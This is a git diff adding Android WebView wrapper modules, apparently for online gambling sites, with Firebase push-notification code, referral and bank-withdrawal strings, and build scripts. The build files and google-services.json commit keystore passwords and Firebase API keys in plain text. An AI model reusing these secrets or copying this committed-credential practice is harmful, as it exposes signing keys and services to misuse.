a/711bet/src/main/res/values/themes.xml b/711bet/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/711bet/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/711bet/src/main/res/xml/app_updater_paths.xml b/711bet/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/711bet/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/711bet/src/main/res/xml/network_security_config.xml b/711bet/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/711bet/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/711bet/src/main/res/xml/provider_paths.xml b/711bet/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/711bet/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/711bet/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/711bet/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/711bet/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/7pokies/.gitignore b/7pokies/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/7pokies/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/7pokies/build.gradle b/7pokies/build.gradle new file mode 100644 index 0000000..045e0ce --- /dev/null +++ b/7pokies/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.pokies7" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "7pokies" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_theme') +} \ No newline at end of file diff --git a/7pokies/google-services.json b/7pokies/google-services.json new file mode 100644 index 0000000..5792d30 --- /dev/null +++ b/7pokies/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "1060218410128", + "project_id": "maucuci-9651c", + "storage_bucket": "maucuci-9651c.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:1060218410128:android:0b8a700289378d4dba7415", + "android_client_info": { + "package_name": "com.web.pokies7" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBb107_oeQFeofrtoa70tN80ukITSHgSrg" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/7pokies/justlet.jks b/7pokies/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/7pokies/justlet.jks differ diff --git a/7pokies/proguard-rules.pro b/7pokies/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/7pokies/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/7pokies/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/7pokies/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/7pokies/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/7pokies/src/main/AndroidManifest.xml b/7pokies/src/main/AndroidManifest.xml new file mode 100644 index 0000000..5cb9cab --- /dev/null +++ b/7pokies/src/main/AndroidManifest.xml @@ -0,0 +1,104 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/7pokies/src/main/java/com/web/pokies7/MainActivity.java b/7pokies/src/main/java/com/web/pokies7/MainActivity.java new file mode 100644 index 0000000..e307758 --- /dev/null +++ b/7pokies/src/main/java/com/web/pokies7/MainActivity.java @@ -0,0 +1,82 @@ +package com.web.pokies7; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + initConfig(); + super.onCreate(savedInstanceState); + initWinwdowLogoConfig(); + registerFCM(); + } + + /** + * 注册FCM + */ + private void registerFCM() { + //订阅主题 + try { + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + }catch (Exception e){ + e.printStackTrace(); + } + } + + /** + * 用于修改大背景渐变色 不设置 + * 大背景就是 windows_color 的颜色 + * 不要动 都在 app_config.xml中修改 + */ + private void initWinwdowLogoConfig() { + setBackDrawables(R.drawable.big_bg); + setImageView(getString(R.string.is_round).equals("1")); + } + + /** + * 基础配置都在这里 + * 不要动 都在 app_config.xml中修改 + */ + private void initConfig() { + + //===========================以下是APP的配置信息 都写在 app_config.xml中================================== + userId = Integer.parseInt(getString(R.string.userId)); + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + saveString(this, "base_url",getString(R.string.base_url)); + //网页的底部NavigationBar颜色 + saveInt(this, "style_color_int", getColor(R.color.style_color)); + //页面的大背景颜色 + saveInt(this, "windows_color_int", getColor(R.color.windows_color)); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",Integer.parseInt(getString(R.string.is_white))); + //===========================以上是APP的配置信息 都写在 app_config.xml中================================== + } + + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/7pokies/src/main/java/com/web/pokies7/MyCustomLayout.java b/7pokies/src/main/java/com/web/pokies7/MyCustomLayout.java new file mode 100644 index 0000000..f21e6a6 --- /dev/null +++ b/7pokies/src/main/java/com/web/pokies7/MyCustomLayout.java @@ -0,0 +1,57 @@ +package com.web.pokies7; + +import android.content.Context; +import android.view.LayoutInflater; +import android.view.View; +import android.widget.LinearLayout; +import android.util.AttributeSet; +import android.widget.TextView; + +/** + * ********************** + * + * @Author bug machine + * 创建时间: 2025/12/25 17:16 + * 用途 + * ********************** + */ +public class MyCustomLayout extends LinearLayout { + + private TextView leftTv; + private TextView rightTv; + + public MyCustomLayout(Context context) { + super(context); + init(context); + } + + public MyCustomLayout(Context context, AttributeSet attrs) { + super(context, attrs); + init(context); + } + + public MyCustomLayout(Context context, AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + init(context); + } + + private void init(Context context) { + // 加载XML布局 + View view = LayoutInflater.from(context).inflate(R.layout.customview, this, true); + // 初始化子控件 + leftTv = (TextView) view.findViewById(R.id.left_tv); + rightTv = (TextView) view.findViewById(R.id.right_tv); + + } + + public void setLeftTv(String leftTvString){ + if(leftTv!=null){ + leftTv.setText(leftTvString); + } + } + public void setRightTv(String rightTvString){ + if(rightTv!=null){ + rightTv.setText(rightTvString); + } + } +} diff --git a/7pokies/src/main/java/com/web/pokies7/MyFirebaseMessageingService.java b/7pokies/src/main/java/com/web/pokies7/MyFirebaseMessageingService.java new file mode 100644 index 0000000..3ed7ce9 --- /dev/null +++ b/7pokies/src/main/java/com/web/pokies7/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.pokies7; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/7pokies/src/main/java/com/web/pokies7/TestActivity.java b/7pokies/src/main/java/com/web/pokies7/TestActivity.java new file mode 100644 index 0000000..94a324b --- /dev/null +++ b/7pokies/src/main/java/com/web/pokies7/TestActivity.java @@ -0,0 +1,45 @@ +package com.web.pokies7; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.AppCompatActivity; + +import com.google.firebase.messaging.FirebaseMessaging; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; + +public class TestActivity extends AppCompatActivity { + private MyCustomLayout mycly; + + + private MyCustomLayout mycly1; + private MyCustomLayout mycly2; + private MyCustomLayout mycly3; + private MyCustomLayout mycly4; + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.test); + mycly = (MyCustomLayout) findViewById(R.id.mycly); + mycly.setLeftTv("我是左边"); + mycly.setRightTv("那我只能在心里边"); + mycly1 = (MyCustomLayout) findViewById(R.id.mycly1); + mycly1.setLeftTv("左边"); + mycly1.setRightTv("右边"); + mycly2 = (MyCustomLayout) findViewById(R.id.mycly2); + mycly2.setLeftTv("如何让富婆爱上我?"); + mycly2.setRightTv("你就是"); + mycly3 = (MyCustomLayout) findViewById(R.id.mycly3); + mycly3.setLeftTv("我是1"); + mycly3.setRightTv("我也是1"); + mycly4 = (MyCustomLayout) findViewById(R.id.mycly4); + mycly4.setLeftTv("问"); + mycly4.setRightTv("如何让富婆爱上我"); + + } +} diff --git a/7pokies/src/main/java/com/web/pokies7/WebApplication.java b/7pokies/src/main/java/com/web/pokies7/WebApplication.java new file mode 100644 index 0000000..2542b4d --- /dev/null +++ b/7pokies/src/main/java/com/web/pokies7/WebApplication.java @@ -0,0 +1,18 @@ +package com.web.pokies7; + +import android.app.Application; +import android.content.Context; + +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + } +} diff --git a/7pokies/src/main/res/drawable/big_bg.xml b/7pokies/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..2e41ced --- /dev/null +++ b/7pokies/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/7pokies/src/main/res/layout/customview.xml b/7pokies/src/main/res/layout/customview.xml new file mode 100644 index 0000000..412c920 --- /dev/null +++ b/7pokies/src/main/res/layout/customview.xml @@ -0,0 +1,45 @@ + + + + + + + + + + + + diff --git a/7pokies/src/main/res/layout/test.xml b/7pokies/src/main/res/layout/test.xml new file mode 100644 index 0000000..5e83927 --- /dev/null +++ b/7pokies/src/main/res/layout/test.xml @@ -0,0 +1,31 @@ + + + + + + + + \ No newline at end of file diff --git a/7pokies/src/main/res/mipmap-xxhdpi/app_logo.png b/7pokies/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..158a38f Binary files /dev/null and b/7pokies/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/7pokies/src/main/res/mipmap-xxhdpi/tixing.png b/7pokies/src/main/res/mipmap-xxhdpi/tixing.png new file mode 100644 index 0000000..d76ddd5 Binary files /dev/null and b/7pokies/src/main/res/mipmap-xxhdpi/tixing.png differ diff --git a/7pokies/src/main/res/values-en/strings.xml b/7pokies/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..7a00b5e --- /dev/null +++ b/7pokies/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/7pokies/src/main/res/values-night/themes.xml b/7pokies/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3475a91 --- /dev/null +++ b/7pokies/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/7pokies/src/main/res/values/app_config.xml b/7pokies/src/main/res/values/app_config.xml new file mode 100644 index 0000000..b863b2c --- /dev/null +++ b/7pokies/src/main/res/values/app_config.xml @@ -0,0 +1,18 @@ + + + + + 7POKIES + + 50 + + https://7pokies.me/ + + 1 + + 1 + + #8b0001 + + #003bfb + \ No newline at end of file diff --git a/7pokies/src/main/res/values/colors.xml b/7pokies/src/main/res/values/colors.xml new file mode 100644 index 0000000..a4e1222 --- /dev/null +++ b/7pokies/src/main/res/values/colors.xml @@ -0,0 +1,16 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #1251a1 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + \ No newline at end of file diff --git a/7pokies/src/main/res/values/strings.xml b/7pokies/src/main/res/values/strings.xml new file mode 100644 index 0000000..0ffb42d --- /dev/null +++ b/7pokies/src/main/res/values/strings.xml @@ -0,0 +1,53 @@ + + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + \ No newline at end of file diff --git a/7pokies/src/main/res/values/themes.xml b/7pokies/src/main/res/values/themes.xml new file mode 100644 index 0000000..3ab59d7 --- /dev/null +++ b/7pokies/src/main/res/values/themes.xml @@ -0,0 +1,109 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/7pokies/src/main/res/xml/app_updater_paths.xml b/7pokies/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/7pokies/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/7pokies/src/main/res/xml/network_security_config.xml b/7pokies/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/7pokies/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/7pokies/src/main/res/xml/provider_paths.xml b/7pokies/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/7pokies/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/7pokies/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/7pokies/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/7pokies/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/93pokies/.gitignore b/93pokies/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/93pokies/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/93pokies/build.gradle b/93pokies/build.gradle new file mode 100644 index 0000000..81e27ff --- /dev/null +++ b/93pokies/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.pokies83" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "93pokies" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/93pokies/dskjweb.jks b/93pokies/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/93pokies/dskjweb.jks differ diff --git a/93pokies/google-services.json b/93pokies/google-services.json new file mode 100644 index 0000000..6ca484c --- /dev/null +++ b/93pokies/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "40706216380", + "project_id": "pokies-c0651", + "storage_bucket": "pokies-c0651.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:40706216380:android:d36b729c3980c7c8d15bb9", + "android_client_info": { + "package_name": "com.web.pokies83" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyA8-ZgB-cByRdBUh4_co4sQrc88qsq3AWA" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/93pokies/ppn.jks b/93pokies/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/93pokies/ppn.jks differ diff --git a/93pokies/proguard-rules.pro b/93pokies/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/93pokies/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/93pokies/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/93pokies/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/93pokies/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/93pokies/src/main/AndroidManifest.xml b/93pokies/src/main/AndroidManifest.xml new file mode 100644 index 0000000..ff18c2a --- /dev/null +++ b/93pokies/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/93pokies/src/main/java/com/web/pokies83/MainActivity.java b/93pokies/src/main/java/com/web/pokies83/MainActivity.java new file mode 100644 index 0000000..536ee40 --- /dev/null +++ b/93pokies/src/main/java/com/web/pokies83/MainActivity.java @@ -0,0 +1,49 @@ +package 